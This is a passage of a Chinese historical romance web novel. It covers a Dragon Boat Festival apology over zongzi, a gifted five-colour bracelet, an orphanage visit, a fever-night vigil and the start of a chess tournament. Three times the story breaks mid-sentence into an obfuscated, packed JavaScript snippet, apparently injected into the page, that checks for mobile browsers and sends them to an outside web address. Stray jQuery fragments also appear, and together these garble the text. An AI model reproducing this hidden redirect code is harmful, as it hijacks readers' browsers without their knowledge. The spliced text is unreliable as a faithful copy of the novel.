管事婆子系着粗布围裙，正指挥着众人，闻声回过头来，说道：“后日就是端阳节，这些都是刚送来的新鲜粽叶和备下的粽子馅儿，这两日有的忙了。” 她说着，掀起旁边一个木桶盖子：“喏，这是糯米，都泡好了，这边是红枣、豆沙，那边是腌好的猪肉和咸蛋黄。” “猪肉和蛋黄？”秀秀狐疑。 婆子笑道：“掌柜的说了，南方粽子都是咸的，今年咱们金鼎轩也得做点新花样，尝尝南方口味。这皇京城可是有不少南方人呢。” 秀秀点点头，看着热火朝天的场面，嗅着空气里箬竹叶的清新之气，倏而眼睛一亮，脸上露出一个灵动明朗的笑容：有了！ 27. 第 27 章 端阳节前一日，午后的金鼎轩后厨依旧云雾缭绕，宛若仙境。几口深底大锅冒着白茫茫的蒸汽，浓郁的粽叶清香混着糯米、枣子、肉块的气味，咸甜鲜香，几乎将整个后院都拢进端阳的暖香里。 秀秀忙活了一整天，和婆子仆役们一起，洗叶、煮叶、调馅、包扎，手指都被粽叶染上草色，手腕也有些酸软，可心里却是欢喜得很，又学一招。看着一个个饱满结实的粽子在手里成型，颇有成就感。 待粽子煮熟，晾到温凉，她特地跟婆子打了招呼，先挑出那些包的紧实的、模样最周正的，用干净湿布擦去水汽，再用早就备好的油纸，仔细包了三份。 一份给碧秋，两份给文珠。 谁知人算不如天算，她一脚踏进锅铺，抬眼就瞧见了她最不想看见的人。 周允正站在柜前，不知和掌柜的在说些什么。 秀秀顿时钉在原地，进退两难，手里的粽子仿佛成了烫手山芋，藏不住，也递不出去。 叶文珠眼尖，已经看见她，欢快迎上来：“秀秀姐姐，你来了！呀，还带了粽子！” 秀秀眼睛笑得弯弯，总算把手里的粽子交出去：“明儿个端阳节，金鼎轩包了好些粽子，今年还有些咸粽，我几个口味都挑了些，刚煮好的，带过来给你尝尝鲜。” 叶文珠接过粽子，活泼一笑：“还是姐姐好，我可最爱这些软糯吃食了，你送这么多来，我怕是吃得要积食，走不动道儿啦！” 秀秀眼角余光往柜台一瞥，原本想好让文珠转交给周允的说辞却是如何也说不出口了，她轻咳一声说：“不多，你、你家里人多，分一下就没多少了。” 她的声音不大，却足够传到柜台。 她再次悄悄往柜台瞥去，却被他逮个正着。她看见周允嘴角微不可察地扬了一下，又不动声色地回过头去，继续跟掌柜的说话。 秀秀咬牙，真是恨不得找个地缝钻进去！ 她不敢多待，又与文珠说了两句节庆的吉祥话，便快步离开锅铺，一口气走出很远，才发觉走反了方向，只好恨恨倒回去，行至一僻静巷口，却见周允正闲闲骑马过来，马边挂着一提溜粽子。 他在马背上勒马轻晃，又坐稳，居高临下地看过来。又是那样灼热的视线，比阳光还热，笼罩在她身上。马在她脚边停下。 秀秀快步欲走。 马蹄声轻响，那匹骏马灵巧挪了两步，不偏不倚横在她面前，挡住去路。 秀秀转身欲去，周允高声唤住他，话到嘴边，“钊柔”换成“秀秀”。 “秀秀也是你叫的？”她柳眉倒竖，他成功把人留下。 周允沉声静气看着她，胜券在握，言之凿凿：“无事献殷勤，非奸即盗。” 看见他这模样，秀秀没由头的烦，嘴上呛他：“听不懂你在说什么，胡言乱语，让开，我要回酒楼。” 周允问：“听不懂？” 秀秀坚决：“听不懂！” 周允眉峰一挑，利落翻身下马，他抬手拍了拍马颈，不紧不慢地解开鞍旁的油纸包，包裹周正，轻松被他拎下，隔着一臂的距离，他把粽子举到秀秀面前。 接着，他对着油纸包的腹部弹了一指。 秀秀不再开口，她长叹一气，知道今日逃不过了。 周允耐心等着，如同每年等待溪边梨花盛开，今日等她主动跟他说话。 良久，终于响起一声短平快的哼唧，她声音细若蚊蚋：“对不起。” 周允微俯下身，又贴近一分，他轻声细语，似笑非笑：“你说什么？” 语气之柔和，让秀秀一时怔怔。她鼓足了一口气，随后近乎悲壮地抬起头，懒懒开口道：“对不起，茶楼后巷的事，是我不识好歹，被猪油蒙了心，误会了您的一片侠义之心，请您大人有大量，千万别跟我这糊涂人一般见识！” 显然，她根本不看他，语中也无半分歉意。 周允“嗯”一声，驴唇不对马嘴地问：“这粽子是何用意？” 秀秀在心里翻白眼，明知故问！她皮笑肉不笑：“微薄歉礼，小女的一番心意，还请您海涵。” 周允点头，嘴角微翘：“你亲手包的？” 秀秀没好气，也快忍不下去了，嘟囔道：“不是。”过了片刻，又嘀咕一句，“爱吃不吃，不吃还我！”自己理亏在先，只动口不动手，过过嘴瘾罢了。 周允不应声，只盯着她皱起的眉毛看了又看。他缓慢挪脚，渐渐地，刺眼阳光全被他拦在身后，她的眉毛舒展开来。 一时无言，僵持站着，周身愈发安静，循着一股清冽草药气息，只见巷口小杂货铺门外一大捆艾草和菖蒲靠在墙根。 对面巷口，也有两个零散摊子，一个卖的是自家酿的雄黄酒，一个卖的是五色缕、钟馗像和五毒符袋，颜色鲜亮，丝光流转，隔着一条街却也直往人眼里钻。 秀秀兀自抛下人马，走到小摊前驻足，轻轻拨弄挑拣，正拿起两股丝线对比着，身边骤然出现一人，他的声音不高不低，带着一种恰到好处的飘忽，既像自言自语，又像说给秀秀听，语气难掩低落：“五色绳...倒是多年不曾系过了。” 秀秀不应声，古怪睇他一眼，只见周允目光放空，仿佛陷入某种遥远回忆，唇角牵起一丝落寞弧度：“以前，每逢端阳，我娘总会亲手编一条给我系在腕上。”他顿了顿，声音更轻，发出一声几不可闻的叹息，“只是，很多年前了。” 旁边小贩耳朵灵光，立刻抓住话头，满脸堆笑，操/着一口浓重的南方口音凑过来：“公子一看便是念旧重情之人，既想起令堂手艺，何不买些丝线回去？咱们这五色缕可是上好的杭纺，颜色正，不易褪色！” 小贩说着，还特意挑选了几束最鲜亮的推到周允面前。 周允被小贩一打岔，像是才从回忆中醒来一般，略显仓促地敛起神色，恢复往日疏离，朝小贩摆了摆手，语气带着几分刻意回避：“不必了。” 这般姿态，一看便知，分明是“触景伤情，不愿重提旧事”。 小贩反应过来，方才他都瞧见了，两人在对面巷口那模样，关系定是不一般，故而又连忙机灵道：“这位姑娘一瞧便是心灵手巧的，公子何不请姑娘代劳？” 秀秀一时语塞，若他真想要，什么样的五色绳买不到？他追忆亡母，与她何干？请她代劳？她娘还走了呢，她请谁代劳？ 她置若罔闻，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633010|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑着自己要买的线。 周允再次轻叹，声音更为低沉，是一种极为了然的克制：“此等微末之事，怎好叨扰？” 秀秀并不知晓周允葫芦里卖的什么药，见他这般模样，心中反倒迟疑，可她又不是活菩萨，看见谁可怜，就得帮一把么？怎么没人看她可怜？ 片刻，周允又微微颔首，无端透出一股被拒绝后的失落和识趣：“罢了。”说完，竟不再多言，也不等秀秀反应，转身便走。 步伐不疾不徐，背影挺拔却莫名孤寂冷清，仿佛独自承揽所有悲伤离去。 小贩在一旁啧啧两声，似是同情：“唉，这位公子，想必是想起伤心事了，瞧着怪可怜的！” 秀秀看他干脆利落离开，蓦然一怔。听见小贩的话，心中却是奇诡得很，这才道了歉，转眼又把人给惹得不快。 她抿抿唇，暗骂周允实在矫情，最后却仍是多挑了几束丝线，匆匆付钱，便也离开。 周允拎着粽子回到府上，来兴连忙接过粽子，问：“给老爷送去吗？” “不必。” “往龛堂摆？” “不必。” “......”来兴不语，等待安排。 “你去把粽子热上。今晚我在园子用饭。” 来兴很是意外，周允打小便最是不喜元宵、粽子一类的糯食，平日连点心都少碰，可如今又是游船剩下的槐花糕，又是粽子的，他左右忖测，看来得嘱咐厨房，少爷口味变了。 来兴挠挠头，赶紧拎着粽子去了小厨房。饭时，布菜小厮又端着粽子出来。 餐桌旁，几个油润发亮的粽子摆在清花瓷碟里，热气里带着一阵清香。 修长手指勾起棉线，一拉一扯，绕了又绕，粽子脱离束缚。随后，叶片被掀开一角，莹白剔透的糯米便显露出来。内馅仍无从得知，须得一层一层剥开，从叶片到指尖，哪个也别想逃过，如胶似漆，黏成一体。好一番缠绵，好一番流连，总算见到真面目。 红枣与世无争，坠到粽子尖尖上，又被一口咬下。 糯米红枣黏黏稠稠，唇齿连忙迎上，心甘情愿与之纠缠不清。箬叶的清香若隐若现，剩下的是满满一口甜和软。 粽子软糯香甜，并非昔日那般难吃。红枣，豆沙，猪肉，蛋黄，每样都要尝尝才是。端阳节，实在是好。 是夜，天已彻底黑了，春夜溶溶，美妙苍茫。 息心园后院，一架草人木楞站着，头顶干草纷纷而下，稀落不成模样。 夜中人影绰绰，一柄亮剑划破空气，圈了半圈。周允手持长剑，在空中连挽数下剑花，霍霍白光闪进他饥渴的眼中，眼底是一种野心勃勃的快乐。 剑法飘逸无定，似蛇灵游走，衣袂飘扬，龙飞凤舞。一阵簌簌之声后，他收剑而立，额头也已渗出细密的汗。 周允幼时体弱，周四海特意请了师父教他习武，本意是强身健体，故而便学了这套华而不实的剑法，虽攻击不足，却足够漂亮。 多年来，挥剑泄恨已成习惯，不知重复了多少遍，草人换了又换，一招一式早已被他烂熟于心。 今夜舞剑，动作潇洒依旧，缘由却与往日有些不同。 28. 第 28 章 端阳节傍晚，日头西沉，天际一片灿烂云霞，不少市民仍在街头游荡，货郎担着没卖完的五毒饼和倒灾葫芦，吆喝声依旧嘹亮，只求归家前再多做两笔生意。 富贵人家的少爷小姐们乘着马车辘辘驶回城中，唯有一辆马车，拖着渐长的影子，兀自往城郊驶去。马车后架上，五花大绑着一个樟木箱笼。 马车最终在一处寻常院落前停下，门前被收拾得干干净净，门楣上悬挂着一块旧匾，上面写着“慈幼堂”。隔着院墙看去，里院屋檐处几个瓦匠正修修补补。 周允整了整衣袖，迈步走了进去。来兴在身后指使两个随行小厮卸下箱笼，也跟着进去。 一位年过半百的妇人出来迎接，此人便是慈幼堂的堂主，堂主孤身一人，尚未成婚生育，大半辈子的心血都给了慈幼堂，故而尽管面容慈和，却依旧不难看出操劳痕迹。 见周允进来，她连忙行礼：“少坊主。” 周允颔首作揖，两人一齐往院中走去，堂主脸上堆满了笑：“前些日子，您派人送来的那笔银子，可真是派上大用场了，这些日子，坊间都在传，今年夏天雨水怕是要多，堂里正愁着屋顶墙面经不住，这下好了，正好能赶在雨季之前修葺一番，孩子们也住得安稳些，真不知道该怎么感谢您才好。” 周允看过院子里略显陈旧却还算整齐的屋舍，语气平淡无波：“堂主不必多礼。” 二人往堂屋走去，恰逢课堂放课，门内涌出一阵喧闹，孩子们蜂拥而出，见到周允，一齐扑过来，却又隔着几尺的距离，一齐住了脚，怯怯不敢靠近。 周允心中一皱，目光正对上一个约莫四五岁的女娃娃。 堂主解围，把女娃娃抱过来，弓着腰，慈爱问道：“阿屏，你不是早就准备好了五色绳要给大哥哥？” 阿屏扎着两个小揪揪，脸蛋肥嘟嘟，手里正紧紧攥着两根编得歪歪扭扭的五色绳。 阿屏去拉住周允垂在身侧的手，然而，不经意间却瞥见袖口下，周允的手腕上已然系着一条精巧的五色绳。 阿屏的小手扯着他的袖子，小脸露出一丝茫然，她仰头看看周允，又看向堂主，不知所措。 周允不知想到什么，朝她轻扬起嘴角，蹲了下来，自然地朝她伸出另一只空着的手腕。 阿屏心满意足地把自己编的五色绳给他系上，笨拙地打了个结，咧嘴一笑，稚声稚气地说：“好啦！”说完又好像害羞似的钻回堂主怀里。 如此一番，旁的孩子也都大胆起来，他们知道大哥哥是心善之人，只是平日总板着脸，有点凶，看来今日他心情好，便又团团把他围住。 慈幼堂没有新鲜事，孩子们来来回回说的不过是谁被领养走啦，谁又住进来啦，但这回，孩子们换了话题。 “大哥哥，四神汤真好喝！” 周允面上发热，往慈幼堂送药材过来，属实是无奈之举，家里的药材实在是用不完了。 来兴在身后不敢偷笑，上前小声提醒：“少爷，是不是给孩子们分一分箱笼里的东西？” 周允忙不迭点头。箱笼一开，孩子们整齐地“哇”出来，纷纷从周允身边散开，跑去箱笼边，一个个地探头往里瞧，小麻雀似的。 整整一箱，铁环，铁鸟，薄铁风车，还有两个铁桶...各色各样，眼花缭乱。 自从冶铸坊被征用，除了锅铺他无处可去，赋闲在家无聊时便在息心园后院做些小玩意儿，加上以前做的，竟就攒了这么多，今日一时兴起，索性全都送过来。 来兴和两个小厮忙着给孩子们分这一箱耍货，叽叽喳喳，热闹非凡，堂主笑着留周允用饭。 周允摆摆手，客气道：“此番前来为的便是送下这些玩物耍货，顺便过来瞧瞧，今日见您跟孩子们都好，我便放心了。日头已不早，周允先行一步，还望您见谅。” 堂主受宠若惊，她看着周允长大，从牙牙学语的孩童到风度翩翩的少年，再到如今已及冠成人，这些年来，她还是头一回见周允这般客套，头一回听他说这么多话。 堂主诚惶诚恐道：“既如此，那便不多留了。” 这家慈幼堂是周允三岁时，其母叶青岚为其积福而建，后来叶青岚去世，周四海便时常派人过来散些银子，最近几年，都由周允来办，说不上积德行善，只是公事公办也习惯了。一年来几回，每回小坐片刻，却都免不了都要听她歌泣追悼叶青岚一番。 周允素来不会留下用饭，但今日不留，原因有二，其一是不愿再听堂主陈词，念起旧事；其二是因今日另有要事。 马车驶离慈幼堂，拐上大路，往叶文珠家驶去。 叶家本是小门小户，后来周家冶铸坊做大，叶丛也跟着沾了光，造了一座三进宅子，因平日叶文珠在锅铺，偌大的宅院总是冷清。 今日端阳节，一家人团聚，门上的艾草，墙上的钟馗，都让叶府多了几分生机。 周允推开叶府书房的门，周四海已在此多时，房内气氛却是与门外大相径庭。 “不然来了，坐。”叶丛指了指一旁的空椅。 周允行礼坐下，开门见山：“师父，您可看出些什么了？” 叶丛轻摇着头：“冶坊如今纪律严苛，异乎寻常，内外消息隔绝，我依计花钱打点，可无论是管事还是老师傅，口径出奇地一致，坊内事务井井有条，未出现差错。” 周允见二人神色，心中不解，疑惑地看向叶丛。 叶丛顿了顿，压低了声音接着说：“蹊跷就蹊跷在，近两日，别说进冶坊，就是距离冶坊十里开外的地方，便已有护卫设卡拦路，盘查往来人等，那些护卫都是吃官家饭，更是难撬话，从他们嘴里问不出半句。” 周允蹙眉沉声道：“十里之外就设防，绝非寻常防务。” 众人沉默片刻，周四海抬起眼，扫过叶丛和周允，开口道：“师兄，日后不必再探。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640805|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶丛缓缓点头：“坊主所言极是。” 周四海起身，见周仍坐着不动，他上前拍了拍周允的肩膀，说道：“该用饭了，莫叫你姨母和文珠久等。” 因着端阳节，一家子也许久未聚，席间菜品丰盛，少不了应节的雄黄酒。今日周允兴致佳，跟着长辈多饮了几盏，方才告辞。 两辆马车一前一后回府。回到院中，周允松松垮垮靠在榻上，一条腿支在地上，一条腿随意伸着，半躺半坐，他抬手揉了揉发胀的额角。 来兴一边拧着热毛巾，一边提醒：“少爷，您多年不戴这五色绳，我都差点儿忘了，按着老规矩，这五色绳戴到今晚，就该剪下来，明儿一早丢到河里顺水冲走，这才算把病痛灾厄都送走了。” 周允闻言，想起今日席上，叶文珠问他，谁送的五色绳，怎么两根不一样，他草草回答：“慈幼堂的孩子编的。” 这时，他垂头看去，年初收拾刘小时，左手腕上被烫坏的皮肤已经愈合，新生出的皮泛着淡粉色，只留下轻轻浅浅的痕迹，而就在这片新生的肌肤之上，正系着一根色泽鲜亮，紧密匀称的五色绳。 这五色绳戴了还不足半日。 今日午后，李聿拉他出门踏百草“躲午”，护城河畔的高地上，人声嘈杂，几人被人流推着走，就在一转角处，他身边突然凑近一身影，秀秀趁无人留意，鬼鬼祟祟，飞快往他手里塞了这根五色绳。 触手温软，他还尚未来得及反应，就见她已退出几步，佯怒瞥他一眼，声音又快又低：“扯平了！”说完也不等他回应，便扭身钻进人群里。 思及此，周允难以自控地笑出来，借着这点酒意，笑意也迟迟不肯散去。 无声的笑正落进来兴眼里，简直如同太阳打西边出来，上次少爷笑得这么开心是何时他甚至已经记不清了，来兴惊得手里水瓢差点掉地上，他动了动嘴，试探着叫了两声：“少爷？少爷？” 周允这才回神，敛起笑意，声音飘忽道：“今年不剪了，好好收着。” 来兴心里犯嘀咕，慌忙又去小厨房催了一遍醒酒汤。 待周允喝完醒酒汤，又沐浴完，暮鼓声已歇，他摩挲着五色绳沉沉睡去，进入另一个绮梦。 殊不知，夜色虚浮，城门大闭，街上不闻人声，不见灯火，御街上却有一辆华贵马车正徐徐而行。 红漆的车板无比鲜艳，青色车篷坠着一圈金色流苏，亭外十二扇红帘将车内景象罩得严严实实，在寂静的夜中，这些堪比五色绳的鲜亮色彩，都显得黑沉诡秘。 车前骏马英姿飒爽，两个仆夫衣着规整，各坐一头，神色肃穆，正借着头顶上悬挂的两盏油灯赶路。 车马周身，十个带刀侍卫环绕，所及之处，只剩马蹄哒哒与盔甲相碰之声。 最终，马车在冶铸坊停了下来。 当夜，漆黑天幕下，冶铸坊火光通明，映红了近处的天，浓烟滚滚，一片迷离。 29. 爪牙之士，悱恻缠绵。 端阳节夜里，吴碧秋做了一场噩梦，惊醒后便发了高烧。如今已两日有余，仍高热不退。 这晚，她开始烧得说胡话，只有贴身丫鬟银花守夜，银花想给她擦擦身子降温，可一近身，吴碧秋便嘟囔着不让，银花急得团团转，知道靠不上吴家，思来想去，索性跑到前院去。 这是吴府上最僻的小院子，坐南朝北，终年少见阳光，路径稀疏，除了院子里的人，很少有别人往来。二进院，一明两暗，吴碧秋平日住在内院，丫鬟小厮住在前院次间，杨钦算是护院，也住前院。 银花知道，在她来服侍小姐前，杨钦就在了，这是小姐在府上唯一靠得住的人。她匆匆来找杨钦，让他想想办法。 啷当一响，杨钦手上的盆子被他扔下，水花四溅，刚在地上留下痕迹，屋里已经没了人。 杨钦边往内院走，边和银花说：“你去歇着吧，今晚我给小姐守夜。” 银花踌躇。 杨钦不再说话，径直往卧房里走去。 银花看了他两眼，心里忐忑，小跑两步追上他，说：“今晚上刚喂下去的药，小姐又都给吐了出来，刚熬的一碗在桌上。” 杨钦没停脚，只说了句：“知道了。” 银花终究还是去了卧房旁边的侧厦守着。院子里沉寂无声，杨钦推开了卧房的门。 房内溢着清苦药味，一张老式雕花木床上挂着素净的月白色薄纱帷幔，这帐子是后来换的，原来的被杨钦踩坏了。 吴碧秋正蜷缩在被子里，看起来并不安详，她紧紧锁着眉头，脸上泛红。 滴漏声被无限延长，床帏帐幔变成鬼魅，浑身的酸软疼痛逼得人意识涣散，散到在吴家生活的这些年里，让人觉得仿佛挨了一顿暴打。 眼泪在紧闭的眼里拥挤，倔强不肯落下，太阳穴突突跳，执意要把滚烫的泪逼到脸颊。危急存亡之际，额头上落下一双冰凉的手，成了唯一救赎。 “阿钦...”吴碧秋喃喃自语。 久违的称呼响起，身侧男人一怔，眉间拧出一道凹陷，里面盛满她的泪。杨钦吞了口空气，他咬着牙又出门。 不多时，一股清冽尖锐的酒气劈开满屋药味。吴碧秋仍紧闭着眼，睫毛颤颤，她发觉身上被子被掀开一角，接着是她的寝衣。 空气拂过滚烫皮肤，激起一阵战栗。男人的身躯把烛光挡了大半，吴碧秋缓缓睁开眼，眼前雾蒙蒙一片，她陷进半明半暗的阴影中，轻轻问：“阿钦？” 杨钦顿住，发出嘶哑的声音：“是我，别怕。” 吴碧秋又闭上眼，任由他把衣裳脱下。随即，一块湿凉细棉布在她肩颈上移动起来，接着是胸口、侧腰，一股奇异的暖意在他手下扩散，有种说不出的熨帖。他的动作比布巾还要轻柔几分。 可他的呼吸声很重。帷帐之中，清晰可辨。 最后她被他轻易地拉了起来，杨钦把她翻了个面，又是从脖颈开始擦拭，湿漉漉的布巾一路向下，虔诚又质朴，连指尖也不放过。 一遍擦拭完毕，吴碧秋被凉意浸透，从火炉短暂逃离出来。杨钦给她掖好被角，转身欲走，被她连忙拉住。 杨钦安抚道：“我不走，我去给你端药。” 柔柔拉扯，依依不舍。 杨钦又坐下，反握住她，放进被子里，再重复一遍：“今夜我守着你，不走。” 总算去端药，又把人揽进怀里喂了大半碗药，最后剩下几口，吴碧秋说什么也不肯喝了，杨钦半哄半逼：“不喝药身子怎么好？看你难受，我也跟着你难受。” 终于安顿下来。 楚楚莹眸却不肯阖上，杨钦不厌其烦：“我何时骗过你？我不走。” 吴碧秋迟迟闭上了眼，被子里，一大一小的手牢牢牵在一块，往事密丛丛冒出来。 她教这双手写字，写的第一个词是“黄芩”，她的字是在医书上学的，与钦同音的药材她只知这一个，“碧秋”和“黄芩”，也算登对。 她在这双手上练习针灸，合谷穴、劳宫穴、鱼际穴，杨钦什么都不懂，两只手上扎满针，她问：“有什么感觉？”他脸上别扭，说：“有点痒。” 后来，这双手偷偷触上她的脸，被她抓个现形，千言万语，到了他嘴里变成一句“杨钦该死，请小姐责罚”，她仰头亲上去，吓得杨钦一着急，紧张得往后倒退，一脚踩上帐幔，害得她瞒着家里偷偷买了新的帐子，小丫鬟不够高，她光明正大又让杨钦来给她换上。 再后来，她定了亲，再也没拉过这双手，这双手也再也没碰过她的。 暮色四合，杨钦静悄悄抽出手来，屏息凝神，又给她擦了一遍身子。坐回床边，手再静悄悄伸进被子里，两只手又牢牢抓在一起。 杨钦一夜不睡，天色由青转白，他伸手抚上她额头，松了一口气，随后再次偷偷抚上她的脸。 烛台上一夜泪千行，化作一滩凄怆，唯剩一缕袅袅白烟，最后烟消云散，他随着白烟离去。 天大亮，吴碧秋高热已退，正靠在引枕上，小口喝着银花递来的白粥。 门帘轻响，一阵熟悉又陌生的昂贵头油味悄然盈室。吴碧秋抬眸，只见母亲吴萱娘在丫鬟的搀扶下走了进来。 “我的儿...”未语先哽咽，吴萱娘几步上前，在床沿坐下，一把握住吴碧秋微凉的手，“可算是见你轻省些了！昨夜里听得你犯了热病，为娘的心就像在油锅里煎似的，一宿不曾合眼，只在佛前替你诵经祈福。” 她说着，伸出保养得宜的手，怜爱地拂过吴碧秋清瘦的脸颊，翡翠戒指衬得这张脸苍白。 吴碧秋心头一热，终究是养了她这些年的母亲，她鼻尖微酸，低低唤了一声：“娘，让您担心了。” 吴萱娘嗔怪：“傻孩子，说的什么话！”将她揽入怀中，轻轻拍她的背，“你爹如今整日忙于冶铸事务，你舅父虽说是咱们亲人，可终究是隔着一层，咱娘俩在吴家相依为命，你若是有个好歹，叫为娘的可怎么活？” 这番话说得情真意切，令银花都摸不清头脑，心想以前莫不是误会夫人了，毕竟跟小姐是至亲，再狠再冷，又能狠到哪里去？ 吴碧秋依偎在母亲怀里，被她身上的熏香熏得头晕，心里却觉得温暖，不愿离去，母亲终究是爱她的。 吴萱娘皱鼻子嗅嗅，嘀咕道：“哪里来的酒味？” 吴碧秋微笑解释：“昨日夜里不退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646699|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧，银花给我拿烈酒擦了擦身子，还未来得及沐浴。” 吴萱娘点点头，并不多疑，母女俩又说了些体己话，吴夫人细细问了病情，叮嘱银花一番，气氛一时温馨和睦。 接着，吴萱娘话锋一转，语气带上几分愁苦：“秋儿，你这次病得厉害，可知为娘吓坏了？一想到你日后还要去那海上漂泊，风高浪急，缺医少药，若再有个头疼脑热，身边儿连个丫鬟都没有，娘这心里就跟针扎似的！” 吴碧秋身体僵住，一时觉得方才的感动实在可笑。她沉默不语，没有接话。 吴萱娘见状，只当她听进去了，便差了下人出去，只剩娘俩儿，更加推心置腹，她声音里都带着哭腔： “秋儿啊，听娘一句劝，那远洋的船，咱就不上了，家里已经使了银子替你打点通融，总能想到法子让你留下的，你一个女儿家，何苦去受那份罪？” 吴萱娘拿起娟帕，擦了擦并不存在的眼泪，继续道：“那张家的婚事，多好的归宿，张家管着民营漕运，家大业大，张绪公子你也相看过，人物齐整，行事稳重，是个极有本事的，你嫁过去，便是嫡长媳，将来是要执掌中馈的。” 说道此处，吴萱娘俨然已经变了音调，方才那般憔悴与心疼之情无影无踪，她句句“恳切”，字字为女儿着想，吴碧秋缓缓从母亲怀中直起身子，一时胸口闷塞，被那熏香熏得气喘难当。 她听着吴萱娘仔细梳理个中好处：“到那时候，咱两家的生意，岂不是更上一层楼？张绪对你有情有义，你安安稳稳留在家里，过那受人尊敬的日子，和和美美，岂不胜过在海上颠簸千百倍？” 吴萱娘见她依旧不答，心中不免焦躁，神色越发淡漠，语气也带上几分逼迫：“秋儿，你倒是说句话呀！娘这都是为了谁？你年纪不小了，不能再由着你性子胡来！” 室内静得可怕，只有吴萱娘略显急促的呼吸声，她剜了吴碧秋一眼，未等她搭话，便转身走了，裙摆带起一阵浮尘，阳光照进来，空气也显得肮脏。 晨起后，吴碧秋仔细沐浴一番，酒味和喷香的头油味被悉数洗尽。不顾银花劝阻，她去了广济堂。 正是心中郁郁之际，两声清脆呼唤传来：“碧秋姐姐！”、“碧秋！” 门帘被掀开，两道窈窕身影涌入，叶文珠身着一身鹅黄衣裙，如黄莺出谷般先道：“姐姐可好些了？听说你大安，又来出诊了，我与秀秀姐姐一刻也坐不住，非得亲眼来看看才放心！” 秀秀一身水绿短衣，献宝似的拎起一个陶壶，放桌上一放，笑得眉眼弯弯：“气色看着倒是清透，只是还需好好将养，莫要再劳神了！我炖的百合陈皮老鸭汤，最是清润补虚，火候足着呢！” 吴碧秋把两人往后院领，三人一块喝汤，叶文珠连连称赞秀秀的手艺。 吴碧秋笑着打趣：“你这馋猫，怕是打着看我的旗号，自己想来打牙祭了吧？”声音虽微哑，语气却是轻快，全然不见晨间那股郁闷之情。 叶文珠狡辩一番，三人笑着把汤喝完，又分食鸭肉，吃饱喝足，吴碧秋觉得这病好了大半。 待送走二人，她当即把杨钦唤来，问：“如今我只要你一句话，你...” 30. 结草衔环，分外眼红。 因四勺在御赛夺得桂冠，李三一畅快给俩徒弟放了一日假，又恰逢休沐，秀秀难得两日清闲。 这日，艳阳高照，道诡茶楼里里外外挤得水泄不通，秀秀跟着李聿挪进门槛，她踮着脚尖，才勉强从攒动人头里，瞧见大厅中央搭起的高台。 上面摆着一张光润的棋盘，两侧设了软垫座位。高台侧后是一扇屏风，一旁有一竖宽大红纸墙，纸上已画好一个硕大棋盘。 秀秀不由惊叹，如此棋坛切磋大会，好大的阵仗！ 忽听得“镗——”的一声锣响，满堂喧嚷被压下七八分。 只见茶楼高掌柜正站在高脚板凳上，一手提着铜锣，一手握着锣槌，清了清嗓子，扬声喊道：“诸位雅客，诸位棋友，今日‘道诡棋坛大会’，承蒙各位捧场，小店蓬荜生辉！” 众人纷纷叫好，气氛愈发高涨，秀秀留意到，掌柜的身旁，一左一右，似门神般立着两个男子，身姿皆挺拔，面容竟别无二致。 定睛一瞧，这不正是定胜兄弟俩？右边这个乐呵呵的，想必就是茶楼的说书先生阿胜，那左边这个平眉淡目的，不就是她恩人？ 秀秀心中猛地一喜，便欲拨开人群上前，嘴角笑意刚漾开，掌柜的却是又开口了，声调兴奋高昂，叫人跃跃欲试：“为显公平，今日这对弈顺序，全凭缘分天定！咱们这就抽签定先后！” 话音刚落，李聿便往高台走去，秀秀瞧了眼阿定，又快步跟上。 高台桌上放着一个两尺高的青花瓷筒，里面插满了竹签。掌柜的声音洪亮如钟：“有请对弈者，依次上前抽取签号！号为一者，即为首位，以此类推！” 人群顿时骚动起来，秀秀随李聿排队站定，最后排到一根漆红柱子边，她问道：“怎只定先后，不定对手？” 李聿靠上柱子，眼神扫过全场，左右瞧着谁去抽签，闻言他头也不回，说道：“早在端阳节前，茶楼已举办多轮比试，胜者才有机会参加决赛呢！今日由上届大会魁首，也就是传闻中的指尖神手来守擂，旁人攻打擂台，直到最后选出赢家。” 指尖神手的大号早已被李聿说过数次，如今要见到大名鼎鼎的神手，秀秀愈发好奇跟期待。 二人一步步随着队伍往前走动，秀秀环顾一周，问：“这指尖神手究竟是何人？” 李聿笑笑，卖了个关子：“待会儿你便知晓！” 最后，李聿在二十余人中排号第七个，暂且安下心来，姐弟俩在观席寻了处靠前位置坐下，等待开场。 人群稍松散了些，秀秀觑准时机，和李聿招呼一声，便从人缝中钻过，来到了高台侧后方。 阿定依旧站立不动，目光在全场巡视。 秀秀深呼吸一口，先走到了阿胜前头，问：“先生可还记得我？” 阿胜一顿，当即反应过来，把她引至阿定面前。 秀秀仰起脸，难掩激动地问：“恩人？” 阿定闻声低头看去。他早已听阿胜提起过，有个姑娘来茶楼寻他，可岂料，昔日小乞丐竟是秀秀，他眼中闪过一丝讶异。 